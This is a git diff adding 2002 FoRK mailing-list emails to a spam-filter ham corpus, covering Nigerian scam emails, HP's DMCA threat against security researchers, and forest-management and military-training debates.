+List-Archive: +Date: 31 Jul 2002 00:59:32 -0400 + +>>>>> "R" == Robert Harley writes: + + R> Another one fizzles out... + +You sound disappointed. Don't worry, there will be lots more. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00934.76cd57955d5efc3a84d965b91fb1548e b/bayes/spamham/easy_ham_2/00934.76cd57955d5efc3a84d965b91fb1548e new file mode 100644 index 0000000..0dea546 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00934.76cd57955d5efc3a84d965b91fb1548e @@ -0,0 +1,73 @@ +From fork-admin@xent.com Wed Jul 31 06:12:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 372E04407C + for ; Wed, 31 Jul 2002 01:12:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 06:12:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6V59V203522 for ; + Wed, 31 Jul 2002 06:09:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 50BDA2940F7; Tue, 30 Jul 2002 22:05:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id A1E9D2940F6 for ; + Tue, 30 Jul 2002 22:04:12 -0700 (PDT) +Received: from maya.dyndns.org (ts5-032.ptrb.interhop.net + [165.154.190.96]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6V4dDd28904; Wed, 31 Jul 2002 00:39:14 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 1DAB01C3B8; + Wed, 31 Jul 2002 01:04:15 -0400 (EDT) +To: Mike Masnick +Cc: bitbitch@magnesium.net, fork@spamassassin.taint.org +Subject: Re: One scam to rule them all.. +References: <5.1.1.6.0.20020730001727.0498be60@techdirt.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 31 Jul 2002 01:04:14 -0400 + +What confuses me is, because these "scam" artists are laying out all +the contact information right out on the table, why don't the police +simply pose as recipients of the scam email and trap them? I mean, +I get no less than a half dozen a day and they should be real easy +to corner. + +The only answer must be that the authorities in the countries in +question must be in on the scam, but isn't international fraud (and +kidnapping and murder if the reports I've seen on the media are true) +isn't this an Interpol thing? + +I mean, the perpetrators are not exactly hiding, are they? + +What I really don't understand is why I keep getting more of these. +Don't they know by now that I already made my millions on the first one? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00935.99fb04563212518a57885b901833d04d b/bayes/spamham/easy_ham_2/00935.99fb04563212518a57885b901833d04d new file mode 100644 index 0000000..74ab06e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00935.99fb04563212518a57885b901833d04d @@ -0,0 +1,119 @@ +From fork-admin@xent.com Wed Jul 31 18:34:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 072214410F + for ; Wed, 31 Jul 2002 13:33:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VHVw203274 for ; + Wed, 31 Jul 2002 18:32:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 77F0629414A; Wed, 31 Jul 2002 10:29:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from agora.microshaft.org (agora.microshaft.org [208.201.249.5]) + by xent.com (Postfix) with ESMTP id EFD7E294149 for ; + Wed, 31 Jul 2002 10:28:53 -0700 (PDT) +Received: (from jono@localhost) by agora.microshaft.org (8.11.6/8.11.6) id + g6VGoMT82204 for fork@xent.com; Wed, 31 Jul 2002 09:50:22 -0700 (PDT) + (envelope-from jono) +From: "Jon O." +To: fork@spamassassin.taint.org +Subject: vkatalov@elcomsoft.com: Security warning draws DMCA threat +Message-Id: <20020731095020.E81025@networkcommand.com> +Reply-To: "jono@networkcommand.com" +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 09:50:20 -0700 + + +Looks like HP is using the DMCA to prevent full disclosure of +security vulnerablities. This is not a good precedent... + + +----- Forwarded message from Vladimir Katalov ----- + +From: Vladimir Katalov +Reply-To: Vladimir Katalov +Organization: ElcomSoft Co.Ltd. +Subject: [DMCA_Discuss] Security warning draws DMCA threat +Date: Wed, 31 Jul 2002 15:04:26 +0400 + + +http://news.com.com/2100-1023-947325.html?tag=fd_top + +By Declan McCullagh +Staff Writer, CNET News.com +July 30, 2002, 4:48 PM PT + +WASHINGTON--Hewlett Packard has found a new club to use to pound +researchers who unearth flaws in the company's software: the Digital +Millennium Copyright Act. + +Invoking both the controversial 1998 DMCA and computer crime laws, HP +has threatened to sue a team of researchers who publicized a +vulnerability in the company's Tru64 Unix operating system. + +In a letter sent on Monday, an HP vice president warned SnoSoft, a +loosely organized research collective, that it "could be fined up to +$500,000 and imprisoned for up to five years" for its role in +publishing information on a bug that lets an intruder take over a +Tru64 Unix system. + +HP's dramatic warning appears to be the first time the DMCA has been +invoked to stifle research related to computer security. Until now, +it's been used by copyright holders to pursue people who distribute +computer programs that unlock copyrighted content such as DVDs or +encrypted e-books. + +If HP files suit or persuades the federal government to prosecute, the +company could set a precedent that stifles research into computer +security flaws, a practice that frequently involves publishing code +that demonstrates vulnerabilities. The DMCA restricts code that "is +primarily designed or produced for the purpose of circumventing +protection" of copyrighted works. + +On July 19, a researcher at SnoSoft posted a note to +SecurityFocus.com's popular Bugtraq mailing list with a hyperlink to a +computer program letting a Tru64 user gain full administrator +privileges. The researcher, who goes by the alias "Phased," said in +the message: "Here is the warez, nothing special, but it does the +job." + +That public disclosure drew the ire of Kent Ferson, a vice president +in HP's Unix systems unit, who alleged in his letter on Monday that +the post violated the DMCA and the Computer Fraud and Abuse Act. + +[...] + +_______________________________________________ + + +------------------------ +http://www.anti-dmca.org +------------------------ + +DMCA_Discuss mailing list +DMCA_Discuss@lists.microshaft.org +http://lists.microshaft.org/mailman/listinfo/dmca_discuss + +----- End forwarded message ----- +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00936.c67a262366df25ed50ae9f6ed3ac5396 b/bayes/spamham/easy_ham_2/00936.c67a262366df25ed50ae9f6ed3ac5396 new file mode 100644 index 0000000..b11cbb9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00936.c67a262366df25ed50ae9f6ed3ac5396 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Wed Jul 31 18:35:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2CB85440FD + for ; Wed, 31 Jul 2002 13:17:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:17:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VHDT202507 for ; + Wed, 31 Jul 2002 18:13:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D876B294142; Wed, 31 Jul 2002 10:11:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from qu.to (njl.ne.client2.attbi.com [24.218.112.39]) by + xent.com (Postfix) with SMTP id DE78B294141 for ; + Wed, 31 Jul 2002 10:10:10 -0700 (PDT) +Received: (qmail 15804 invoked by uid 500); 31 Jul 2002 17:13:23 -0000 +From: Ned Jackson Lovely +To: fork@spamassassin.taint.org +Subject: Re: What's cool about doing nothing +Message-Id: <20020731171323.GG1206@ibu.internal.qu.to> +References: <5.1.0.14.0.20020731100838.00ac34e0@jidmail.nmcourts.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <5.1.0.14.0.20020731100838.00ac34e0@jidmail.nmcourts.com> +User-Agent: Mutt/1.3.25i +X-Cell: +1.617.877.3444 +X-Web: http://www.njl.us/ +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 13:13:23 -0400 + +On Wed, Jul 31, 2002 at 10:37:31AM -0600, Marty Halvorson wrote: +> A Forest Service official has stated flat out that the tree lovers need to +> understand their responsibility in contributing to the number of +> uncontrollable (i.e., crown fires caused by very dense tree stands and +> under growth) fires by their suits to stop any tree removal from the +> forests managed by the Forest Service. + +Boy, that is rather strange. I've always been under the impression that +the uncontrollable forest fires were the result of the Forest Service's +long-standing "10:00 A.M. policy", in place until the decision in 1963 to +switch over to "let-it-burn". + +The 10:00 A.M. policy was based on theories about forest management from +Europe, and wasn't as applicable to the American wilds. So, we went from a +policy of containment for 100 years to one of letting things burn unless they +directly threatened property. + +40 years after the end of the containment policy there is still a lot of stuff +left to burn. I can't imagine that artificially planted replacement +forests, with dense stands of identical trees, help that much either. + +I would be comfortable laying the fault for these contributing factors +squarely with the Forest Service. I would put the blame for many burned homes +upon the people who chose to build their dwelling with an unwise combination of +materials, location, and landscaping. + +-- +njl +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00937.68935e1b2337011c372fcb6de757737b b/bayes/spamham/easy_ham_2/00937.68935e1b2337011c372fcb6de757737b new file mode 100644 index 0000000..56f654f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00937.68935e1b2337011c372fcb6de757737b @@ -0,0 +1,88 @@ +From fork-admin@xent.com Wed Jul 31 20:25:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E4D99440C9 + for ; Wed, 31 Jul 2002 15:25:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 20:25:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VJPY206347 for ; + Wed, 31 Jul 2002 20:25:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 168FF2940A2; Wed, 31 Jul 2002 12:23:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.cybermesa.com (mail.cybermesa.com [198.59.109.2]) by + xent.com (Postfix) with ESMTP id 5B80929409C for ; + Wed, 31 Jul 2002 12:22:12 -0700 (PDT) +Received: from HalCor.halvorson.us (sf-du223.cybermesa.com [65.19.16.223]) + by mail.cybermesa.com (8.11.6/8.11.6) with ESMTP id g6VJMTW27190 for + ; Wed, 31 Jul 2002 13:22:30 -0600 (MDT) +Message-Id: <5.1.0.14.0.20020731130214.00a66600@mail.cybermesa.com> +X-Sender: marty@mail.cybermesa.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: fork@spamassassin.taint.org +From: Marty Halvorson +Subject: Re: What's cool about doing nothing +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 13:22:19 -0600 + +Ned Jackson Lovely wrote: + > On Wed, Jul 31, 2002 at 10:37:31AM -0600, Marty Halvorson wrote: + > > A Forest Service official has stated flat out that the tree lovers +need to + > > understand their responsibility in contributing to the number of + > > uncontrollable (i.e., crown fires caused by very dense tree stands and + > > under growth) fires by their suits to stop any tree removal from the + > > forests managed by the Forest Service. + > + > Boy, that is rather strange. I've always been under the impression that + > the uncontrollable forest fires were the result of the Forest Service's + > long-standing "10:00 A.M. policy" + +If you'll look closely, I said the Forest Service official claimed it was +the tree lovers lawsuits that prevented removal of trees by any means as at +least partially responsible. The lawsuits prevented the Forest Service +from implementation of any project that involved tree removal. These +projects were designed to address the tree and undergrowth density that +resulted from previous management policies. + +In other words, Forest Service projects to clean up the mess resulting from +their previous forest management practices are prevented by tree lover +lawsuits. + + > 40 years after the end of the containment policy there is still a lot of +stuff + > left to burn. + +Exactly, and tree lover lawsuits are preventing the removal of that +stuff. The result: Fires like Cerro Grande. + + > I can't imagine that artificially planted replacement + > forests ... + +There are very few replacement forests planted these days. Those that are, +are mostly planted on private land as commercial tree farms. + +Peace, + +Marty Halvorson +marty@halvorson.us + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00938.6fe1c791dc457dff05038e48d3625d93 b/bayes/spamham/easy_ham_2/00938.6fe1c791dc457dff05038e48d3625d93 new file mode 100644 index 0000000..c648c81 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00938.6fe1c791dc457dff05038e48d3625d93 @@ -0,0 +1,53 @@ +From fork-admin@xent.com Wed Jul 31 21:36:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B9A42440A8 + for ; Wed, 31 Jul 2002 16:36:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 21:36:52 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VKXQ208315 for ; + Wed, 31 Jul 2002 21:33:29 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id ECC992940BA; Wed, 31 Jul 2002 13:31:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from markbaker.ca (cpu2164.adsl.bellglobal.com [207.236.3.141]) + by xent.com (Postfix) with ESMTP id 26D022940A2 for ; + Wed, 31 Jul 2002 13:30:25 -0700 (PDT) +Received: (from mbaker@localhost) by markbaker.ca (8.9.3/8.8.7) id + QAA12756 for fork@xent.com; Wed, 31 Jul 2002 16:30:42 -0400 +From: Mark Baker +To: fork@spamassassin.taint.org +Subject: Clark on Munchkins +Message-Id: <20020731163042.D10521@www.markbaker.ca> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailer: Mutt 1.0.1i +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 16:30:42 -0400 + +With Mobile IP? Ack! 8-O + +http://ana-www.lcs.mit.edu/anaweb/PDF/PR_whitepaper_v2.pdf + +MB +-- +Mark Baker, CTO, Idokorro Mobile (formerly Planetfred) +Ottawa, Ontario, CANADA. distobj@acm.org +http://www.markbaker.ca http://www.idokorro.com +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00939.d6d2250a7e855513820bd35e36883d5a b/bayes/spamham/easy_ham_2/00939.d6d2250a7e855513820bd35e36883d5a new file mode 100644 index 0000000..1856457 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00939.d6d2250a7e855513820bd35e36883d5a @@ -0,0 +1,109 @@ +From fork-admin@xent.com Wed Jul 31 23:12:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9BE5F440C8 + for ; Wed, 31 Jul 2002 18:12:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 23:12:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VMBT211312 for ; + Wed, 31 Jul 2002 23:11:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2CD6D2940C5; Wed, 31 Jul 2002 15:09:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 563A52940C4 for + ; Wed, 31 Jul 2002 15:07:59 -0700 (PDT) +Received: (qmail 23622 invoked by uid 501); 31 Jul 2002 22:08:07 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 31 Jul 2002 22:08:07 -0000 +From: CDale +To: Marty Halvorson +Cc: fork@spamassassin.taint.org +Subject: Re: What's cool about doing nothing +In-Reply-To: <5.1.0.14.0.20020731100838.00ac34e0@jidmail.nmcourts.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 17:08:07 -0500 (CDT) + +Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of +acres of virgin pine forest that was razed here in MS so that our military +can practice desert warfare? Fought it for years, lost, now there is a +stand of trees up and down Hwy 49 that's supposed to try to hide the fact +that a huge portion of the Desoto Ntl. Forest is gone. +C + +On Wed, 31 Jul 2002, Marty Halvorson wrote: + +> > So my thanks to those who are active in: +> > tree saving (okay, I help some here, but never enough) +> > drug rehabilitation (-smirk- shut up, I'm serious) +> > keeping some of our freedoms intact (see tree saving) +> > health care reform +> > puppy dog rescue +> > education (move this one to the top of the list) +> > etc (lots and lots of etc) +> +> I can agree with most of this list except tree saving. +> +> Please understand, I'm in favor of forests. I'm not in favor of messing +> with natural processes that forests and trees have evolved over millions of +> years. +> +> Every time I look toward the west from my house I see the result of overly +> aggressive tree saving. The Cerro Grande fire that destroyed many (200+) +> houses and an area bigger than Boston. +> +> The Santa Fe watershed, which has as many as 1200 trees per acre in an area +> that if left to nature would have 30-60 trees per acre. When the Forest +> Service attempted to cull trees in their part of the watershed, the tree +> lovers stopped the program with law suits. +> +> A number of other projects have been stopped by similar suits. For +> example, a fire south of Los Alamos that left many usable, but partially +> burned, trees standing. The Forest Service started a project to allow +> loggers to take those trees. Hah! The tree lovers stopped that. Can't +> have the loggers go into the forest even if the trees being taken are +> already burned and the roads necessary to get to the trees are already built. +> +> A Forest Service official has stated flat out that the tree lovers need to +> understand their responsibility in contributing to the number of +> uncontrollable (i.e., crown fires caused by very dense tree stands and +> under growth) fires by their suits to stop any tree removal from the +> forests managed by the Forest Service. +> +> I am writing having survived another season of forest fires. One that saw +> many more fires than normal because of the severe drought occurring here in +> the Southwest (even though there are still quite a few fires burning). +> +> Peace, +> +> Marty Halvorson +> marty@halvorson.us +> +> http://xent.com/mailman/listinfo/fork +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00940.f48ea03fc7357f9bf0b7fdc934bbf270 b/bayes/spamham/easy_ham_2/00940.f48ea03fc7357f9bf0b7fdc934bbf270 new file mode 100644 index 0000000..4bfbd67 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00940.f48ea03fc7357f9bf0b7fdc934bbf270 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Wed Jul 31 23:23:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B3814440A8 + for ; Wed, 31 Jul 2002 18:23:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 23:23:03 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VMJj211388 for ; + Wed, 31 Jul 2002 23:19:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E82912940C5; Wed, 31 Jul 2002 15:17:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id B7C372940B3 for + ; Wed, 31 Jul 2002 15:16:49 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g6VMH6g02352 for ; Wed, 31 Jul 2002 + 15:17:08 -0700 (PDT) +Message-Id: <3D4861B4.6090501@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: What's cool about doing nothing +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 15:16:20 -0700 + +Heh. Never mind the perfectly good desert in the southwest, right? Or is +that area too hot for desert warfare training? I'll never understand. + +E + +CDale wrote: + +>Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of +>acres of virgin pine forest that was razed here in MS so that our military +>can practice desert warfare? Fought it for years, lost, now there is a +>stand of trees up and down Hwy 49 that's supposed to try to hide the fact +>that a huge portion of the Desoto Ntl. Forest is gone. +> + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00941.7e73d0b5d1de68eabc52c3e8d05349d8 b/bayes/spamham/easy_ham_2/00941.7e73d0b5d1de68eabc52c3e8d05349d8 new file mode 100644 index 0000000..9350eea --- /dev/null +++ b/bayes/spamham/easy_ham_2/00941.7e73d0b5d1de68eabc52c3e8d05349d8 @@ -0,0 +1,84 @@ +From fork-admin@xent.com Wed Jul 31 23:53:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 26A3E440CD + for ; Wed, 31 Jul 2002 18:53:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 23:53:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VMqS212298 for ; + Wed, 31 Jul 2002 23:52:33 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AE1BB2940E2; Wed, 31 Jul 2002 15:50:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id 2088C2940D8 for ; + Wed, 31 Jul 2002 15:49:07 -0700 (PDT) +Received: (qmail 56882 invoked by uid 19621); 31 Jul 2002 22:49:27 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 31 Jul 2002 22:49:27 -0000 +Subject: Re: What's cool about doing nothing +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <3D4861B4.6090501@cse.ucsc.edu> +References: + <3D4861B4.6090501@cse.ucsc.edu> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1028156521.6887.25.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 31 Jul 2002 16:02:01 -0700 + +On Wed, 2002-07-31 at 15:16, Elias Sinderson wrote: +> Heh. Never mind the perfectly good desert in the southwest, right? Or is +> that area too hot for desert warfare training? I'll never understand. + + +The primary desert warfare facilities and schools ARE in the Southwest, +most notably Fort Irwin deep in the Mojave/Anza Borrego (the +headquarters and core training facilities for all things desert warfare +related), and have been for a long time. There are two reasons that +immediately come to mind as to why they do not use the Fort Irwin, +Edwards AFB, and other expanses of desert that they have traditionally +used for desert warfare training and exercises. + +The first is logistical: Virtually all the mechanized infantry units are +located east of the Rockies, and it must be very expensive to move +entire heavy combat divisions a couple thousand miles every time they +want to run training exercises. This is particularly true since so much +of our military is made up of reserve components these days, meaning +that you can't move the soldiers to where the training facilities are. + +The second is environmental lawsuits and pending judicial action and +injunctions. The desert training facilities in the Southwest deserts +have been aggressively assaulted by environmental organizations who are +making the case that heavy mechanized units zipping back and forth +across the deep desert endanger the desert tortoise and a bunch of other +theoretically endangered species that are concentrated in the southwest +deserts. The ability of the military to use the desert facilities has +been significantly impeded these days while all the lawsuits and whatnot +with the various environmental groups are being sorted out. + +-James Rogers + jamesr@best.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00942.b57cfed7c3f2f3238643929b9118ed3b b/bayes/spamham/easy_ham_2/00942.b57cfed7c3f2f3238643929b9118ed3b new file mode 100644 index 0000000..a489f53 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00942.b57cfed7c3f2f3238643929b9118ed3b @@ -0,0 +1,74 @@ +From fork-admin@xent.com Thu Aug 1 00:03:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A3008440C8 + for ; Wed, 31 Jul 2002 19:03:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 00:03:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VMxJ212399 for ; + Wed, 31 Jul 2002 23:59:21 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 76C662940EF; Wed, 31 Jul 2002 15:52:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id ABDCE2940EF for ; Wed, 31 Jul 2002 15:51:38 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 510AAC44E; + Thu, 1 Aug 2002 00:50:10 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: vkatalov@elcomsoft.com: Security warning draws DMCA threat +Message-Id: <20020731225010.510AAC44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 00:50:10 +0200 (CEST) + +Jon O. wrote: +> Looks like HP is using the DMCA to prevent full disclosure of +> security 